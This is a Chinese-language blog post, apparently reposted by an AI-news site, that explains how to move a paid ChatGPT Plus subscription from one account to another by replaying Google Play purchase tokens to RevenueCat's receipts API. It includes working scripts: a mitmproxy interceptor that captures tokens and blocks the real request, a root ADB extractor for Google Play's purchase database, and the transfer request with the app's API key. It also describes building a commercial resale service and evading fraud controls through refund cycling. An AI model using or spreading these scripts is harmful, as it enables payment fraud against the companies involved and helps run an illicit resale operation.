返回 AI 资讯
安全研究言零的博客

GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ 前言 之前写了两篇关于 GPT Plus 的漏洞分析:一篇是 iOS 收据复用 ,一篇是 Google Play offerToken 替换实现 0 元订阅 。 这篇和前两篇路线不同,不搞 0 元白嫖,也不搞收据复用,讲的是另一个思路:订阅转移。 A 账号在 Google Play 上正经花钱买了 Plus,通过技术手段把这个订阅"转"给 B 账号。B 账号什么都没付,直接…

内容摘要

联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ 前言 之前写了两篇关于 GPT Plus 的漏洞分析:一篇是 iOS 收据复用 ,一篇是 Google Play offerToken 替换实现 0 元订阅 。 这篇和前两篇路线不同,不搞 0 元白嫖,也不搞收据复用,讲的是另一个思路:订阅转移。 A 账号在 Google Play 上正经花钱买了 Plus,通过技术手段把这个订阅"转"给 B 账号。B 账号什么都没付,直接变 Plus。原理比想象中简单。 免责声明 :本文仅供安全研究与技术交流。未经授权的行为可能违反相关法律法规,请勿用于非法用途。 一、核心原理:为什么能"转移"? ChatGPT Android 的订阅架构 GPT 的订阅并不由 OpenAI 自行处理。 Android 端的订阅走的是这条链路: Google Play 支付(扣钱) ↓ 生成 purchase token ChatGPT App 拿到 token ↓ 发送到 RevenueCat RevenueCat 验证 token ↓ 通知 OpenAI OpenAI 后端开通 Plus 中间有个关键角色:RevenueCat,一个第三方订阅管理平台,充当 Google Play 和 OpenAI 之间的中间层。 漏洞在哪? RevenueCat 的核心 API 是 POST /v1/receipts ,请求体长这样: { "fetch_token" : "<Google Play 的购买凭证>" , "app_user_id" : "<OpenAI 的账户 ID>" , "product_ids" : [ "oai.chatgpt.plus" ] } 注意这两个参数: 参数 含义 来源 fetch_token 购买凭证,证明"有人付了钱" Google Play 支付后返回 app_user_id 账户 ID,决定"给谁开通" OpenAI 的 account_id 这两个参数是完全独立的。 Google Play 只管收钱并出具凭证,不关心这个凭证最终给谁用。RevenueCat 只管验证凭证并绑定到指定用户,不检查 app_user_id 是否就是付钱的那个人。 打个比方:你在肯德基买了个汉堡,小票给了你朋友,你朋友拿小票去柜台,柜员一扫码——嗯,小票是真的,给。至于小票是不是你朋友买的?柜员根本不看。 所以:用 A 的 token + B 的 account_id = 给 B 开 Plus。这就是订阅转移的全部原理。 二、关键标识符一览 先理清几个关键 ID: 标识符 说明 长啥样 怎么拿 fetch_token Google Play 购买凭证 iekllednimgnlmo... (很长一串) 支付后拦截/ADB 提取 app_user_id OpenAI 账户 ID f211fe99-83d9-4c48-b016-ee08984a592a 调 accounts/check API RevenueCat API Key RC 公钥(固定值) goog_DPguJtknNxbQBStStwhWGRsghUw 抓包可得,下面直接给出 product_id 订阅产品标识(固定值) oai.chatgpt.plus 固定的 三、获取 purchase token(两种姿势) Token 是核心。拿到 token,后面的流程就很直接了。下面提供两种获取方式。 方式一:MITM 代理拦截(推荐,无需 Root) 原理是在 Android 设备和 RevenueCat 服务器之间架一层代理,支付完成后 ChatGPT App 会把 token 发给 RevenueCat,在中间截下来。 需要准备: Android 设备(真机或模拟器,需装 Google Play 服务) 已登录的 Google 账号(需有支付方式或免费试用资格) ChatGPT App MITM 代理工具(推荐 Reqable / mitmproxy / Charles) 步骤: Step 1:设备连接代理,安装并信任 MITM 证书。 Step 2:在代理工具中设置拦截规则: URL 匹配: api.revenuecat.com/v1/receipts 请求方法: POST 动作: 拦截请求(Block) Step 3:打开 ChatGPT App,用一个临时账号登录(不是目标账号)。 Step 4:进入订阅页面 - 选择 Plus - 完成 Google Play 支付。 Step 5:支付完成后,代理工具会拦截到 POST /v1/receipts 请求。从请求体中提取 fetch_token 字段,保存。 Step 6:阻断该请求,不让它发到 RevenueCat。 为什么要阻断?因为如果让请求正常到达 RevenueCat,token 就会被"消费"掉,绑定到临时账号上,就没法转移了。 时间窗口:token 拦截后有 72 小时有效期。超时未被 Acknowledge,Google Play 会自动退款。 如果你用 mitmproxy,这里有个现成的拦截脚本: # mitm_intercept.py — 自动拦截并保存 token import json , time from mitmproxy import http TOKEN_FILE = "tokens.jsonl" class RevenueCatInterceptor : def request ( self , flow : http . HTTPFlow ): if ( flow . request . pretty_url . endswith ( "/v1/receipts" ) and flow . request . method == "POST" ): try : body = json . loads ( flow . request . get_text ()) fetch_token = body . get ( "fetch_token" , "" ) if fetch_token : record = { "fetch_token" : fetch_token , "original_user_id" : body . get ( "app_user_id" , "" ), "captured_at" : time . strftime ( "%Y-%m- %d T%H:%M:%SZ" ), "used" : False } with open ( TOKEN_FILE , "a" ) as f : f . write ( json . dumps ( record ) + " \n " ) print ( f "[+] Token captured: { fetch_token [: 40 ] } ..." ) # 返回伪造响应,阻断真实请求 flow . response = http . Response . make ( 200 , json . dumps ({ "subscriber" : { "entitlements" : {}}}), { "Content-Type" : "application/json" } ) except Exception as e : print ( f "[-] Parse error: { e } " ) addons = [ RevenueCatInterceptor ()] # 启动: mitmproxy -s mitm_intercept.py -p 8888 跑起来之后,每次支付完成,token 就自动保存到 tokens.jsonl ,一条一行。 方式二:ADB 直读 Google Play 数据库(需要 Root) Google Play 的购买记录存在本地 SQLite 数据库 library.db 里。Root 设备可以直接把数据库拉出来,用 SQL 查 token。 好处是不需要实时拦截,支付完成后随时都能提取。坏处是需要 Root。 完整提取脚本: """ read_purchase_token.py 通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token """ import os , json , time , sqlite3 , tempfile , subprocess OUTPUT_FILE = "purchases.txt" DB_SRC = "/data/data/com.android.vending/databases/library.db" DB_SDCARD = "/sdcard/.tmp_read_token.db" DEVICE_SERIAL = "" # 留空自动选第一台设备 def adb ( * args , timeout = 15 ): cmd = [ "adb" ] if DEVICE_SERIAL : cmd += [ "-s" , DEVICE_SERIAL ] cmd += list ( args ) try : r = subprocess . run ( cmd , capture_output = True , text = True , timeout = timeout ) return r . returncode , ( r . stdout + r . stderr ) . strip () except FileNotFoundError : return - 1 , "adb not found" def read_token (): tmp_path = None try : # Step 1: 用 root 权限把数据库复制到 sdcard code , out = adb ( "shell" , f "su -c 'cp { DB_SRC } { DB_SDCARD } && chmod 644 { DB_SDCARD } && echo DONE'" ) if code != 0 or "DONE" not in out : print ( "复制失败,请确认设备已 Root" ) return # Step 2: pull 到本地 _ , tmp_path = tempfile . mkstemp ( suffix = ".db" ) adb ( "pull" , DB_SDCARD , tmp_path ) # Step 3: SQLite 查询 conn = sqlite3 . connect ( tmp_path ) cur = conn . cursor () # 自动识别表结构 cur . execute ( "PRAGMA table_info(ownership)" ) cols = [ r [ 1 ] for r in cur . fetchall ()] # 找 JSON 数据列 json_candidates = [ "inapp_purchase_data" , "purchase_data" , "value" , "data" ] json_col = next (( c for c in json_candidates if c in cols ), None ) doc_col = "doc_id" if "doc_id" in cols else cols [ 3 ] # 查 ChatGPT 相关购买记录 sql = f """ SELECT account, { doc_col } , { json_col } FROM ownership WHERE ( { doc_col } LIKE '%openai%' OR { doc_col } LIKE '%chatgpt%') AND { json_col } IS NOT NULL ORDER BY rowid DESC """ rows = cur . execute ( sql ) . fetchall () conn . close () # Step 4: 解析并保存 token saved = set () for row in rows : email = str ( row [ 0 ]) if row [ 0 ] else "unknown" raw_json = str ( row [ 2 ]) if row [ 2 ] else "" if "purchaseToken" not in raw_json : continue data = json . loads ( raw_json ) token = data . get ( "purchaseToken" , "" ) order = data . get ( "orderId" , "" ) if not token or token in saved : continue saved . add ( token ) entry = f " { time . strftime ( '%Y-%m- %d %H:%M:%S' ) } | { email } | { order } | { token } \n " with open ( OUTPUT_FILE , "a" ) as f : f . write ( entry ) print ( f "邮箱: { email } " ) print ( f "Order: { order } " ) print ( f "Token: { token [: 60 ] } ..." ) print ( f "已保存 -> { OUTPUT_FILE } " ) print ( f "共保存 { len ( saved ) } 条" ) finally : if tmp_path : os . unlink ( tmp_path ) adb ( "shell" , f "rm -f { DB_SDCARD } " ) if __name__ == "__main__" : read_token () 流程很直白:先用 su (Root 权限)把 /data/data/com.android.vending/ 下的数据库复制到 sdcard(普通权限读不了),然后 adb pull 拉到电脑上。 ownership 表存了所有购买记录,用 LIKE '%chatgpt%' 过滤出目标行,再从 JSON 里取 purchaseToken 和 orderId 。 数据库的 ownership 表结构大概长这样: 列名 类型 说明 account TEXT Google 账号邮箱 doc_id TEXT 应用包名+产品ID inapp_purchase_data TEXT JSON 格式的购买数据 JSON 里面关键字段: { "orderId" : "GPA.3305-3747-1234-56789" , "packageName" : "com.openai.chatgpt" , "productId" : "oai.chatgpt.plus" , "purchaseTime" : 1720000000000 , "purchaseState" : 0 , "purchaseToken" : "iekllednimgnlmo...(很长一串)" , "quantity" : 1 , "acknowledged" : false , "autoRenewing" : true } purchaseToken 就是我们要的东西。拿到它,就能转移订阅。 四、获取目标账号的 account_id Token 到手了,接下来要知道转给谁,即目标 GPT 账号的 account_id 。 API 调用: GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27 Authorization: Bearer <目标账号的 JWT Token> 响应里有个 account_id 字段,UUID 格式: { "account_id" : "f211fe99-83d9-4c48-b016-ee08984a592a" , "email" : "target@example.com" , ... } 怎么拿 JWT Token? 最简单的方式:浏览器登录 ChatGPT,访问 https://chatgpt.com/api/auth/session ,响应里有 accessToken 。 或者直接让用户给你 Session JSON,你从里面解析 account.id 。 五、执行转移 Token 有了,account_id 有了,最后一步:调 RevenueCat API,把 token 绑到目标账号上。 完整转移脚本 import requests import json url = "https://api.revenuecat.com/v1/receipts" headers = { "User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)" , "Content-Type" : "application/json" , "X-Platform" : "android" , "X-Platform-Flavor" : "native" , "X-Platform-Version" : "36" , "X-Version" : "9.22.1" , "X-Client-Bundle-ID" : "com.openai.chatgpt" , "X-Observer-Mode-Enabled" : "false" , "X-Custom-Entitlements-Computation" : "true" , "X-Storefront" : "US" , "Authorization" : "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw" , "X-RevenueCat-ETag" : "" } data = { "fetch_token" : "<你拿到的 purchase token>" , "product_ids" : [ "oai.chatgpt.plus" ], "platform_product_ids" : [{ "product_id" : "oai.chatgpt.plus" }], "app_user_id" : "<目标账号的 account_id>" , "is_restore" : True , "observer_mode" : False , "purchase_completed_by" : "revenuecat" , "initiation_source" : "unsynced_active_purchases" , "sdk_originated" : False , "payload_version" : 1 } response = requests . post ( url , headers = headers , data = json . dumps ( data , separators = ( ',' , ':' ))) if response . status_code == 200 : result = response . json () subscriber = result . get ( "subscriber" , {}) entitlements = subscriber . get ( "entitlements" , {}) subscriptions = subscriber . get ( "subscriptions" , {}) if "chatgpt_plus" in entitlements : ent = entitlements [ "chatgpt_plus" ] print ( "=" * 50 ) print ( "充值成功!" ) print ( "=" * 50 ) print ( f " 账号 ID : { subscriber . get ( 'original_app_user_id' ) } " ) print ( f " 到期时间 : { ent . get ( 'expires_date' ) } " ) print ( f " 产品标识 : { ent . get ( 'product_identifier' ) } " ) for pid , sub in subscriptions . items (): price = sub . get ( "price" , {}) print ( f " 价格 : { price . get ( 'amount' , '?' ) } { price . get ( 'currency' , '' ) } " ) print ( f " 订阅类型 : { sub . get ( 'period_type' ) } " ) print ( f " 是否沙盒 : { '是' if sub . get ( 'is_sandbox' ) else '否' } " ) else : print ( "未找到 chatgpt_plus 权益,可能失败了" ) print ( json . dumps ( result , indent = 2 , ensure_ascii = False )) else : print ( f "请求失败: { response . status_code } " ) print ( response . text ) 逐行拆解 Headers 部分: "User-Agent" : "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)" 伪装成 Android 设备的 ChatGPT App。RevenueCat 会检查 User-Agent,用浏览器的 UA 会被拒。 "Authorization" : "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw" 这不是用户的 token,而是 RevenueCat 的公共 API Key。每个使用 RevenueCat 的 App 都有一个,固定不变。ChatGPT Android 的公钥就是这个。 Body 部分: "fetch_token" : "<purchase token>" # 第三步拿到的购买凭证 "app_user_id" : "<account_id>" # 第四步拿到的目标账号 ID "is_restore" : True # 告诉 RC 这是"恢复购买",不是新购买 "initiation_source" : "unsynced_active_purchases" # 来源标记 is_restore: True 是个关键细节,它告诉 RevenueCat 这不是新购买,而是恢复已有购买。RC 不会创建新的订阅记录,而是把已有的 token 绑定到 app_user_id 指定的账号上。 成功响应长啥样? { "subscriber" : { "entitlements" : { "chatgpt_plus" : { "expires_date" : "2026-08-17T07:13:32Z" , "product_identifier" : "oai.chatgpt.plus" , "purchase_date" : "2026-07-17T07:13:32Z" } }, "subscriptions" : { "oai.chatgpt.plus" : { "period_type" : "trial" , "price" : { "amount" : 0.0 , "currency" : "JPY" }, "store" : "play_store" , "expires_date" : "2026-08-17T07:13:32Z" } }, "management_url" : "https://play.google.com/store/account/subscriptions?..." } } 看到 entitlements 里有 chatgpt_plus ,就说明转移成功了。 expires_date 是到期时间。 六、完整流程图 ┌─────────────────────────────────────────────────────┐ │ Phase 1: Token 获取 │ │ │ │ 方式A: MITM 拦截 │ │ Android + ChatGPT + Reqable/mitmproxy │ │ 完成 Google Play 支付 │ │ 拦截 POST /v1/receipts → 提取 fetch_token │ │ 阻断请求 → 保存 token (72h 有效) │ │ │ │ 方式B: ADB 直读 │ │ Root 设备 + ADB │ │ 读取 library.db → ownership 表 │ │ 解析 JSON → 提取 purchaseToken │ └───────────────────────┬─────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────┐ │ Phase 2: Token 使用 │ │ │ │ 获取目标账号 account_id │ │ GET /backend-api/accounts/check │ │ 或从 Session JSON 解析 │ │ ↓ │ │ POST /v1/receipts │ │ fetch_token = 保存的 token │ │ app_user_id = 目标 account_id │ │ Authorization = RC 公钥 │ │ ↓ │ │ RevenueCat 验证 → 通知 OpenAI → Plus 开通 │ └─────────────────────────────────────────────────────┘ 七、规模化:从手动到自动 手动操作一两个账号没问题,但做成服务就涉及到工程化了。 架构设计 一个完整的自动化系统大概长这样: ┌──────────┐ ┌────────────┐ ┌────────────┐ │ Google │ │ 拦截层 │ │ Token │ │ 账号池 │────▶│ mitmproxy │────▶│ 队列 │ │ │ │ + ADB │ │ (FIFO) │ └──────────┘ └────────────┘ └─────┬──────┘ │ ▼ ┌──────────┐ ┌────────────┐ ┌────────────┐ │ 目标 │ │ 充值 API │ │ CDK │ │ 账号 │◀────│ 自动提交 │◀────│ 卡密系统 │ │ │ │ RC 调用 │ │ │ └──────────┘ └────────────┘ └────────────┘ 核心组件: 组件 职责 技术栈 Google 账号池 存储可用的 Google 账号 数据库 ADB 自动化 自动完成 Play 支付流程 Python + ADB Token 队列 缓存未使用的 purchase token 数据库/消息队列 CDK 卡密系统 发放激活码给终端用户 Web 应用 充值 API 接收用户 Session,调用 RC 完成开通 后端服务 数据库设计 核心就三张表: google_credential – 记录每次 Google Play 购买: 字段 说明 google_email Google 账号 order_id 订单号 purchase_token 购买凭证 product_id 产品标识 acknowledged 是否已确认 status 状态(未使用/已使用/已退款) card_key_id 关联的 CDK card_key – CDK 卡密: 字段 说明 card_key 16位激活码 product_id 对应产品 credential_id 关联的购买凭证 status 状态(待使用/已使用/已禁用) redeem_record – 充值记录: 字段 说明 card_key 使用的激活码 external_account_id 目标 GPT 账号 ID status 结果(成功/失败) expires_date 订阅到期时间 用户端流程 做成产品后,终端用户看到的是这样的流程: 用户拿到 CDK 激活码 ↓ 打开充值页面,输入激活码 ↓ 系统验证激活码有效性 ↓ 用户粘贴自己的 ChatGPT Session JSON ↓ 系统解析 Session,提取 account_id ↓ 系统从 Token 队列取一个 token ↓ 调用 RevenueCat API 完成转移 ↓ 返回充值结果(成功/失败 + 到期时间) 用户全程不需要知道底层发生了什么。他只需要: 输入激活码 粘贴 Session 等几秒钟 八、风控与注意事项 时间约束 约束 时限 后果 Token 未 Acknowledge 72 小时 Google Play 自动退款 RC 提交后自动 Acknowledge 立即 Token 被消费,无法再用 token 拦截后必须在 3 天内使用。提交给 RevenueCat 后就立即被 Acknowledge,相当于"消费"掉了。 一 token 一账号 purchase token 一旦提交给 RevenueCat 并被 Acknowledge,就标记为"已消费",不能重复使用。一次支付 = 一个 token = 开通一个账号。 和之前 iOS 收据复用漏洞不同,iOS 那边同一张收据能反复用,Android 这个不行。 X-Post-Params-Hash 抓包时你可能注意到请求头里有个 X-Post-Params-Hash ,格式: app_user_id,fetch_token:sha256:<hash值> 这个是 app_user_id 和 fetch_token 拼接后的 SHA256。换了 account_id 后需要重新算。 但经过实测,服务端不校验这个值。随便填或者留空都不影响结果。RevenueCat 可能是为了调试保留的字段,并没有做服务端校验。 同样, X-Nonce 这个字段也不校验。 风控分析 风控点 风险 说明 RevenueCat 服务端 低 只验 token 真假,不检查 app_user_id 匹配 Google Play 退款检测 中 频繁退款/争议可能被 Google 封号 OpenAI 行为分析 低 OpenAI 后端只看 RC 返回的订阅状态 Google 账号风控 中 同一账号频繁订阅/退订会被标记 Google 账号消耗 如果走的是免费试用路径( period_type: "trial" , price: 0.0 ): 每个 Google 账号对 oai.chatgpt.plus 只有 1 次免费试用机会 试用后该账号永久标记为"已使用试用" N 个 token 需要 N 个 Google 账号 如果走的是付费订阅路径: Token 被拦截未 Acknowledge,72h 后自动退款,理论上可重新购买 但频繁操作会触发 Google 风控 建议每个账号不超过 3-5 次循环 九、与 iOS 收据漏洞的对比 这个和 iOS 收据复用容易混淆,做个对比: 维度 iOS 收据复用 Android Token 转移 支付平台 App Store Google Play 中间层 直接对接 OpenAI 经过 RevenueCat 核心资产 iOS receipt(Base64) purchase token 能否复用 能,一张收据开无数账号 不能,一个 token 只能用一次 成本模型 一次付费 - 无限开通 一次付费 - 一次开通 获取难度 需要 iOS 设备 + 拦截 Android + MITM 或 Root 修复状态 部分修复 未修复 Android 这个转移漏洞的成本比 iOS 高(每开一个账号都需要一个新 token),但更稳定,因为它利用的是 RevenueCat 的设计缺陷,不是简单的验证遗漏,修起来牵涉面更广。 十、回顾 整条攻击链路如下: Google Play 支付 → 拦截 purchase token → 阻断 RevenueCat 回调 ↓ 目标账号 account_id ← Session 解析 ← 用户提交 ↓ POST /v1/receipts (token + account_id) → RevenueCat 验证 ↓ OpenAI 开通 Plus RevenueCat 在验证 purchase token 时只关心两件事:token 是不是真的、有没有被用过。至于"谁付的钱"和"给谁开通"是不是同一个人,它不管。这就是整条链路的根本缺陷。 OpenAI 大概率不是不能修,而是优先级排不上来。要么放弃 RevenueCat 自建订阅系统(工程量巨大),要么让 RC 在 API 层面增加 app_user_id 校验。对于 B 端收入占大头的公司来说,个人订阅上的这个洞不够紧急。 回顾一下整条链路的关键节点:Google Play / RevenueCat / OpenAI 三层解耦,token 通过 MITM 拦截或 ADB 直读 library.db 获取,目标 account_id 从 /accounts/check API 或 Session JSON 拿到,最后 POST /v1/receipts 把 token 和 account_id 拼在一起提交。72 小时内没用掉的 token 会被 Google Play 自动退款。 提醒:本文仅供技术研究和安全交流。Google Play 订阅体系的安全性问题是一个值得关注的研究方向,请不要将本文技术用于非法用途。 参考资料 RevenueCat 官方文档 - POST /v1/receipts Google Play Billing Library 安全最佳实践 OWASP Mobile Top 10 mitmproxy 官方文档 Android Debug Bridge (ADB) 文档 标签: #ChatGPT #GPTPlus #GooglePlay #RevenueCat #订阅转移 #Android #支付安全 #技术科普

资讯来源

言零的博客

原文链接

打开原文